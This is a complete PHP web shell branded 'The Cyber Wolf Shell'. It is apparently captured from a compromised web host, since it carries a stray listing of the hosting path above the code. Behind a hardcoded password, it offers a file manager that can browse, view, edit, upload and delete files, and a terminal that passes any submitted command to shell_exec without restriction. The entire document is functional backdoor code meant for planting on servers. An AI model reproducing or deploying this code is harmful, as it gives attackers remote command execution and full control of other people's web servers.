Your IP : 216.73.216.249


Current Path : /home/etiennec/www/
Upload File :
Current File : /home/etiennec/www/mrrogerv1.php

<?php
session_start();

define('PASSWORD', base64_encode('VEhFQ1lCM1JXMExG'));
define('SESSION_KEY', 'evlgpt_auth');

// Check authentication
if (!isset($_SESSION[SESSION_KEY]) || $_SESSION[SESSION_KEY] !== true) {
    if (isset($_POST['pass'])) {
        if (base64_encode($_POST['pass']) === PASSWORD) {
            $_SESSION[SESSION_KEY] = true;
        } else {
            $error = "Access Denied!";
        }
    }
    // Display login page
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>The Cyber Wolf Terminal</title>
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                background: #0a0a0a;
                color: #11bd11;
                font-family: 'Courier New', monospace;
                height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                overflow: hidden;
                position: relative;
            }
            #rain {
                position: fixed;
                top: 0; left: 0;
                width: 100%; height: 100%;
                pointer-events: none;
                z-index: 0;
            }
            .login-box {
                background: rgba(0, 10, 0, 0.85);
                border: 2px solid #11bd11;
                box-shadow: 0 0 40px #11bd11;
                padding: 40px;
                width: 400px;
                text-align: center;
                position: relative;
                z-index: 1;
                backdrop-filter: blur(2px);
            }
            .login-box h1 {
                font-size: 1.8em;
                text-transform: uppercase;
                letter-spacing: 5px;
                margin-bottom: 10px;
                text-shadow: 0 0 20px #11bd11;
            }
            .login-box .sub {
                font-size: 0.9em;
                color: #080;
                margin-bottom: 30px;
            }
            .login-box input {
                background: transparent;
                border: 1px solid #11bd11;
                color: #11bd11;
                padding: 12px 20px;
                width: 100%;
                font-size: 1.1em;
                font-family: inherit;
                outline: none;
                transition: 0.3s;
                letter-spacing: 2px;
            }
            .login-box input:focus {
                box-shadow: 0 0 20px #11bd11;
            }
            .login-box button {
                background: #11bd11;
                color: #000;
                border: none;
                padding: 12px 30px;
                font-size: 1.1em;
                font-family: inherit;
                font-weight: bold;
                cursor: pointer;
                margin-top: 20px;
                text-transform: uppercase;
                transition: 0.3s;
                letter-spacing: 3px;
            }
            .login-box button:hover {
                background: #0a0;
                box-shadow: 0 0 30px #11bd11;
            }
            .error {
                color: #f00;
                margin-top: 15px;
                text-shadow: 0 0 10px #f00;
            }
            /* Loading spinner global */
            .spinner-overlay {
                display: none;
                position: fixed;
                top: 0; left: 0;
                width: 100%; height: 100%;
                background: rgba(0,0,0,0.7);
                z-index: 9999;
                justify-content: center;
                align-items: center;
            }
            .spinner-overlay.active {
                display: flex;
            }
            .spinner {
                width: 50px;
                height: 50px;
                border: 5px solid #11bd11;
                border-top: 5px solid transparent;
                border-radius: 50%;
                animation: spin 1s linear infinite;
                box-shadow: 0 0 30px #11bd11;
            }
            @keyframes spin {
                0% { transform: rotate(0deg); }
                100% { transform: rotate(360deg); }
            }
        </style>
    </head>
    <body>
    <canvas id="rain"></canvas>
    <div class="login-box">
        <h1> The Cyber Wolf</h1>
        <div class="sub">CYBERPUNK SHELL v2.0</div>
        <form method="post" onsubmit="showSpinner()">
            <input type="password" name="pass" placeholder="ENTER PASSWORD" autofocus>
            <button type="submit">UNLOCK</button>
        </form>
        <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>
    </div>
    <!-- Loading spinner -->
    <div id="global-spinner" class="spinner-overlay">
        <div class="spinner"></div>
    </div>
    <script>
        // Rain effect
        const canvas = document.getElementById('rain');
        const ctx = canvas.getContext('2d');
        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        const chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ<>?/|\\{}[]!@#$%^&*()';
        const fontSize = 14;
        const columns = canvas.width / fontSize;
        const drops = Array(Math.floor(columns)).fill(1);

        function draw() {
            ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            ctx.fillStyle = '#11bd11';
            ctx.font = fontSize + 'px monospace';

            for (let i = 0; i < drops.length; i++) {
                const text = chars[Math.floor(Math.random() * chars.length)];
                ctx.fillText(text, i * fontSize, drops[i] * fontSize);
                if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
                    drops[i] = 0;
                }
                drops[i]++;
            }
        }
        setInterval(draw, 33);

        window.addEventListener('resize', () => {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });

        function showSpinner() {
            document.getElementById('global-spinner').classList.add('active');
        }
    </script>
    </body>
    </html>
    <?php
    exit;
}

// ==================== MAIN SHELL ====================
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
if (!$current_dir || !is_dir($current_dir)) $current_dir = getcwd();
chdir($current_dir);

// File listing function
function listFiles($dir) {
    $items = scandir($dir);
    $files = array();
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . '/' . $item;
        $files[] = array(
            'name' => $item,
            'path' => $path,
            'is_dir' => is_dir($path),
            'size' => is_file($path) ? filesize($path) : '-',
            'perm' => substr(sprintf('%o', fileperms($path)), -4),
            'mtime' => date('Y-m-d H:i:s', filemtime($path))
        );
    }
    return $files;
}

// Handle actions
$action = isset($_POST['action']) ? $_POST['action'] : '';
$target = isset($_POST['target']) ? $_POST['target'] : '';

if ($action === 'delete') {
    $target = realpath($target);
    if ($target && strpos($target, realpath($current_dir)) === 0) {
        if (is_file($target)) unlink($target);
        elseif (is_dir($target)) {
            $it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS);
            $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($files as $f) {
                if ($f->isDir()) rmdir($f->getRealPath());
                else unlink($f->getRealPath());
            }
            rmdir($target);
        }
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

if ($action === 'create') {
    $name = isset($_POST['name']) ? $_POST['name'] : '';
    $type = isset($_POST['type']) ? $_POST['type'] : 'file';
    $path = $current_dir . '/' . $name;
    if ($type === 'file') {
        file_put_contents($path, '');
    } else {
        mkdir($path, 0755, true);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

if ($action === 'edit_save') {
    $file = realpath($target);
    if ($file && is_file($file) && strpos($file, realpath($current_dir)) === 0) {
        file_put_contents($file, $_POST['content']);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

if ($action === 'upload') {
    if (isset($_FILES['file'])) {
        $upload_dir = $current_dir . '/' . (isset($_POST['subdir']) ? $_POST['subdir'] : '');
        if (!is_dir($upload_dir)) mkdir($upload_dir, 0755, true);
        $dest = $upload_dir . '/' . basename($_FILES['file']['name']);
        move_uploaded_file($_FILES['file']['tmp_name'], $dest);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// View file (AJAX)
if (isset($_GET['view'])) {
    $file = realpath($_GET['view']);
    if ($file && is_file($file) && strpos($file, realpath($current_dir)) === 0) {
        header('Content-Type: text/plain');
        readfile($file);
    }
    exit;
}

// Terminal command execution (AJAX)
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = shell_exec($cmd . ' 2>&1');
    echo "<pre style='color:#11bd11;background:#111;padding:10px;margin:0;font-size:13px;'>" . htmlspecialchars($output) . "</pre>";
    exit;
}

// ==================== MAIN UI ====================
$files = listFiles($current_dir);
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>The Cyber Wolf Shell</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #060606;
            color: #11bd11;
            font-family: 'Courier New', monospace;
            padding: 20px;
            min-height: 100vh;
        }
        #rain-bg {
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            pointer-events: none;
            z-index: 0;
            opacity: 0.3;
        }
        .container {
            position: relative;
            z-index: 1;
            max-width: 1400px;
            margin: 0 auto;
        }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 2px solid #11bd11;
            padding-bottom: 10px;
            margin-bottom: 20px;
            text-shadow: 0 0 20px #11bd11;
        }
        .header h1 {
            font-size: 1.5em;
            letter-spacing: 3px;
        }
        .header .logout {
            color: #f00;
            text-decoration: none;
            border: 1px solid #f00;
            padding: 5px 15px;
            transition: 0.3s;
        }
        .header .logout:hover {
            background: #f00;
            color: #000;
            box-shadow: 0 0 15px #f00;
        }
        .path-bar {
            background: #111;
            border: 1px solid #11bd11;
            padding: 10px 15px;
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
        }
        .path-bar .label {
            color: #080;
        }
        .path-bar .dir-link {
            color: #11bd11;
            text-decoration: none;
            padding: 2px 5px;
        }
        .path-bar .dir-link:hover {
            text-decoration: underline;
            background: #11bd11;
            color: #000;
        }
        .path-bar input[type="text"] {
            background: transparent;
            border: 1px solid #11bd11;
            color: #11bd11;
            padding: 5px 10px;
            font-family: inherit;
            flex: 1;
            min-width: 200px;
        }
        .path-bar button {
            background: #11bd11;
            color: #000;
            border: none;
            padding: 6px 15px;
            font-weight: bold;
            cursor: pointer;
            font-family: inherit;
        }
        .toolbar {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }
        .toolbar button, .toolbar a {
            background: #111;
            border: 1px solid #11bd11;
            color: #11bd11;
            padding: 8px 18px;
            cursor: pointer;
            font-family: inherit;
            font-size: 0.9em;
            text-decoration: none;
            transition: 0.3s;
        }
        .toolbar button:hover, .toolbar a:hover {
            background: #11bd11;
            color: #000;
            box-shadow: 0 0 15px #11bd11;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
            background: rgba(0,10,0,0.5);
        }
        .file-table th {
            border-bottom: 2px solid #11bd11;
            padding: 8px 10px;
            text-align: left;
            text-transform: uppercase;
            letter-spacing: 1px;
            background: #0a0a0a;
        }
        .file-table td {
            padding: 6px 10px;
            border-bottom: 1px solid #1a1a1a;
            vertical-align: middle;
        }
        .file-table tr:hover td {
            background: rgba(0,255,0,0.05);
        }
        .file-table .icon {
            font-size: 1.2em;
            margin-right: 5px;
        }
        .file-table .name {
            font-size: 14px;
            color: #11bd11;
            text-decoration: none;
        }
        .file-table .name:hover {
            text-decoration: underline;
        }
        .file-table .actions a, .file-table .actions button {
            color: #11bd11;
            background: none;
            border: 1px solid #11bd11;
            padding: 2px 8px;
            font-size: 0.8em;
            cursor: pointer;
            text-decoration: none;
            margin: 0 2px;
            transition: 0.3s;
        }
        .file-table .actions a:hover, .file-table .actions button:hover {
            background: #11bd11;
            color: #000;
        }
        .file-table .actions .delete {
            border-color: #f00;
            color: #f00;
        }
        .file-table .actions .delete:hover {
            background: #f00;
            color: #000;
        }
        .modal {
            display: none;
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: rgba(0,0,0,0.9);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        .modal.active {
            display: flex;
        }
        .modal-content {
            background: #0a0a0a;
            border: 2px solid #11bd11;
            width: 90%;
            max-width: 1000px;
            max-height: 90vh;
            overflow-y: auto;
            padding: 20px;
            position: relative;
            box-shadow: 0 0 13px #11bd11;
        }
        .modal-close {
            position: absolute;
            top: 10px; right: 15px;
            color: #f00;
            font-size: 1.5em;
            cursor: pointer;
            border: none;
            background: none;
            font-family: inherit;
        }
        .modal-title {
            font-size: 1.3em;
            margin-bottom: 15px;
            text-shadow: 0 0 10px #11bd11;
        }
        #terminal-output {
            background: #000;
            color: #11bd11;
            padding: 15px;
            height: 300px;
            overflow-y: auto;
            font-size: 13px;
            line-height: 1.5;
            border: 1px solid #11bd11;
            margin-bottom: 10px;
            white-space: pre-wrap;
            word-break: break-all;
        }
        #terminal-input {
            display: flex;
            gap: 10px;
        }
        #terminal-input input {
            flex: 1;
            background: transparent;
            border: 1px solid #11bd11;
            color: #11bd11;
            padding: 10px;
            font-family: inherit;
            font-size: 1em;
        }
        #terminal-input button {
            background: #11bd11;
            color: #000;
            border: none;
            padding: 10px 20px;
            font-weight: bold;
            cursor: pointer;
            font-family: inherit;
        }
        .upload-area {
            border: 2px dashed #11bd11;
            padding: 30px;
            text-align: center;
            margin: 15px 0;
            transition: 0.3s;
        }
        .upload-area:hover {
            background: rgba(0,255,0,0.05);
        }
        .upload-area input[type="file"] {
            color: #11bd11;
            font-family: inherit;
        }
        .upload-area button {
            background: #11bd11;
            color: #000;
            border: none;
            padding: 8px 20px;
            cursor: pointer;
            font-weight: bold;
            margin-top: 10px;
        }
        #edit-area textarea {
            width: 100%;
            height: 400px;
            background: #111;
            border: 1px solid #11bd11;
            color: #11bd11;
            padding: 10px;
            font-family: monospace;
            font-size: 13px;
            resize: vertical;
        }
        .glow {
            text-shadow: 0 0 10px #11bd11;
        }
        ::-webkit-scrollbar {
            width: 8px;
        }
        ::-webkit-scrollbar-track {
            background: #0a0a0a;
        }
        ::-webkit-scrollbar-thumb {
            background: #11bd11;
        }
        /* Loading spinner global (reused) */
        .spinner-overlay {
            display: none;
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: rgba(0,0,0,0.7);
            z-index: 9999;
            justify-content: center;
            align-items: center;
        }
        .spinner-overlay.active {
            display: flex;
        }
        .spinner {
            width: 60px;
            height: 60px;
            border: 6px solid #11bd11;
            border-top: 6px solid transparent;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            box-shadow: 0 0 40px #11bd11;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
<canvas id="rain-bg"></canvas>
<div class="container">
    <div class="header">
        <h1> The Cyber Wolf // CYBERPUNK SHELL</h1>
        <a href="?logout=1" class="logout">[EXIT]</a>
    </div>

    <!-- Path bar -->
    <form method="get" class="path-bar" onsubmit="showSpinner()">
        <span class="label">ROOT ></span>
        <?php
        $parts = explode('/', trim($current_dir, '/'));
        $path = '';
        foreach ($parts as $p) {
            $path .= '/' . $p;
            echo "<a href='?dir=" . urlencode($path) . "' class='dir-link'>$p</a> / ";
        }
        ?>
        <input type="text" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>" placeholder="Direct path">
        <button type="submit">GO</button>
    </form>

    <!-- Toolbar -->
    <div class="toolbar">
        <button onclick="openModal('createModal')">+ NEW FILE</button>
        <button onclick="openModal('createDirModal')">+ NEW FOLDER</button>
        <button onclick="openModal('uploadModal')">⬆ UPLOAD</button>
        <button onclick="openModal('terminalModal')">⌨ TERMINAL</button>
        <button onclick="location.reload()">⟳ REFRESH</button>
    </div>

    <!-- File table -->
    <table class="file-table">
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Perm</th>
                <th>Modified</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td colspan="5"><a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="name">📁 .. (parent)</a></td>
            </tr>
            <?php foreach ($files as $f): ?>
            <tr>
                <td>
                    <?php if ($f['is_dir']): ?>
                        <a href="?dir=<?php echo urlencode($f['path']); ?>" class="name">📁 <?php echo htmlspecialchars($f['name']); ?></a>
                    <?php else: ?>
                        <span class="icon">📄</span>
                        <a href="#" onclick="viewFile('<?php echo htmlspecialchars(addslashes($f['path'])); ?>'); return false;" class="name"><?php echo htmlspecialchars($f['name']); ?></a>
                    <?php endif; ?>
                </td>
                <td><?php echo $f['is_dir'] ? '-' : number_format($f['size']); ?> B</td>
                <td><?php echo $f['perm']; ?></td>
                <td><?php echo $f['mtime']; ?></td>
                <td class="actions">
                    <?php if (!$f['is_dir']): ?>
                        <a href="#" onclick="editFile('<?php echo htmlspecialchars(addslashes($f['path'])); ?>'); return false;">✏ Edit</a>
                        <a href="#" onclick="viewFile('<?php echo htmlspecialchars(addslashes($f['path'])); ?>'); return false;">👁 View</a>
                    <?php endif; ?>
                    <form method="post" style="display:inline" onsubmit="return confirm('Delete <?php echo htmlspecialchars($f['name']); ?>?') && showSpinner()">
                        <input type="hidden" name="action" value="delete">
                        <input type="hidden" name="target" value="<?php echo htmlspecialchars($f['path']); ?>">
                        <button type="submit" class="delete">🗑 Delete</button>
                    </form>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>

<!-- Loading spinner (global) -->
<div id="global-spinner" class="spinner-overlay">
    <div class="spinner"></div>
</div>

<!-- Modals -->
<div id="createModal" class="modal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('createModal')">✖</button>
        <div class="modal-title">CREATE NEW FILE</div>
        <form method="post" onsubmit="showSpinner()">
            <input type="hidden" name="action" value="create">
            <input type="hidden" name="type" value="file">
            <input type="text" name="name" placeholder="filename.ext" style="width:100%;background:#111;border:1px solid #11bd11;color:#11bd11;padding:10px;font-family:inherit;margin-bottom:10px;">
            <button type="submit" style="background:#11bd11;color:#000;border:none;padding:10px 20px;cursor:pointer;font-weight:bold;">CREATE</button>
        </form>
    </div>
</div>

<div id="createDirModal" class="modal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('createDirModal')">✖</button>
        <div class="modal-title">CREATE NEW FOLDER</div>
        <form method="post" onsubmit="showSpinner()">
            <input type="hidden" name="action" value="create">
            <input type="hidden" name="type" value="dir">
            <input type="text" name="name" placeholder="foldername" style="width:100%;background:#111;border:1px solid #11bd11;color:#11bd11;padding:10px;font-family:inherit;margin-bottom:10px;">
            <button type="submit" style="background:#11bd11;color:#000;border:none;padding:10px 20px;cursor:pointer;font-weight:bold;">CREATE</button>
        </form>
    </div>
</div>

<div id="uploadModal" class="modal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('uploadModal')">✖</button>
        <div class="modal-title">UPLOAD FILE</div>
        <div class="upload-area">
            <form method="post" enctype="multipart/form-data" onsubmit="showSpinner()">
                <input type="hidden" name="action" value="upload">
                <p style="margin-bottom:15px;">Choose file(s) or drag & drop (single)</p>
                <input type="file" name="file" required><br>
                <small>Optional: subfolder (relative to current dir)</small><br>
                <input type="text" name="subdir" placeholder="subfolder name (leave empty for root)" style="background:#111;border:1px solid #11bd11;color:#11bd11;padding:5px;margin:10px 0;width:80%;font-family:inherit;">
                <br>
                <button type="submit">UPLOAD</button>
            </form>
        </div>
    </div>
</div>

<div id="terminalModal" class="modal">
    <div class="modal-content" style="max-height: 80vh;">
        <button class="modal-close" onclick="closeModal('terminalModal')">✖</button>
        <div class="modal-title">⌨ TERMINAL // FULL ACCESS</div>
        <div id="terminal-output">Welcome to The Cyber Wolf Terminal. Type your commands below.<br></div>
        <div id="terminal-input">
            <input type="text" id="cmd-input" placeholder="Enter command..." autofocus>
            <button onclick="execCommand()">EXECUTE</button>
            <button onclick="document.getElementById('cmd-input').value=''; document.getElementById('terminal-output').innerHTML='';" style="background:#800;color:#fff;">CLEAR</button>
        </div>
        <small style="color:#080;display:block;margin-top:10px;">🔥 No restrictions. Use with power.</small>
    </div>
</div>

<div id="viewModal" class="modal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('viewModal')">✖</button>
        <div id="viewContent" style="background:#111;color:#11bd11;padding:15px;overflow:auto;max-height:70vh;white-space:pre-wrap;font-size:13px;"></div>
    </div>
</div>

<div id="editModal" class="modal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('editModal')">✖</button>
        <div class="modal-title">EDIT FILE</div>
        <form method="post" id="editForm" onsubmit="showSpinner()">
            <input type="hidden" name="action" value="edit_save">
            <input type="hidden" name="target" id="editTarget">
            <div id="edit-area"><textarea name="content" id="editContent"></textarea></div>
            <button type="submit" style="background:#11bd11;color:#000;border:none;padding:10px 20px;cursor:pointer;font-weight:bold;margin-top:10px;">SAVE</button>
        </form>
    </div>
</div>

<script>
// Rain background
const canvas = document.getElementById('rain-bg');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ<>?/|\\{}[]!@#$%^&*()';
const fontSize = 14;
const columns = canvas.width / fontSize;
const drops = Array(Math.floor(columns)).fill(1);
function drawRain() {
    ctx.fillStyle = 'rgba(0, 0, 0, 0.1)';
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = '#11bd11';
    ctx.font = fontSize + 'px monospace';
    for (let i = 0; i < drops.length; i++) {
        const text = chars[Math.floor(Math.random() * chars.length)];
        ctx.fillText(text, i * fontSize, drops[i] * fontSize);
        if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) drops[i] = 0;
        drops[i]++;
    }
}
setInterval(drawRain, 33);
window.addEventListener('resize', () => { canvas.width = window.innerWidth; canvas.height = window.innerHeight; });

function showSpinner() {
    document.getElementById('global-spinner').classList.add('active');
}

function hideSpinner() {
    document.getElementById('global-spinner').classList.remove('active');
}

window.addEventListener('load', function() {
    hideSpinner();
});

function openModal(id) {
    document.getElementById(id).classList.add('active');
    if (id === 'terminalModal') {
        setTimeout(() => document.getElementById('cmd-input').focus(), 100);
    }
}
function closeModal(id) {
    document.getElementById(id).classList.remove('active');
}
document.querySelectorAll('.modal').forEach(m => {
    m.addEventListener('click', function(e) {
        if (e.target === this) this.classList.remove('active');
    });
});

function viewFile(path) {
    showSpinner();
    fetch('?view=' + encodeURIComponent(path))
        .then(r => r.text())
        .then(data => {
            document.getElementById('viewContent').textContent = data;
            openModal('viewModal');
            hideSpinner();
        })
        .catch(() => hideSpinner());
}

function editFile(path) {
    showSpinner();
    fetch('?view=' + encodeURIComponent(path))
        .then(r => r.text())
        .then(data => {
            document.getElementById('editTarget').value = path;
            document.getElementById('editContent').value = data;
            openModal('editModal');
            hideSpinner();
        })
        .catch(() => hideSpinner());
}

function execCommand() {
    const input = document.getElementById('cmd-input');
    const output = document.getElementById('terminal-output');
    const cmd = input.value.trim();
    if (!cmd) return;
    output.innerHTML += '<span style="color:#0ff;">$ ' + cmd + '</span>\n';
    input.value = '';
    showSpinner();
    const formData = new FormData();
    formData.append('cmd', cmd);
    fetch('', { method: 'POST', body: formData })
        .then(r => r.text())
        .then(data => {
            output.innerHTML += data + '\n';
            output.scrollTop = output.scrollHeight;
            hideSpinner();
        })
        .catch(e => {
            output.innerHTML += '<span style="color:#f00;">Error: ' + e + '</span>\n';
            hideSpinner();
        });
}
document.getElementById('cmd-input').addEventListener('keydown', function(e) {
    if (e.key === 'Enter') execCommand();
});
</script>
</body>
</html>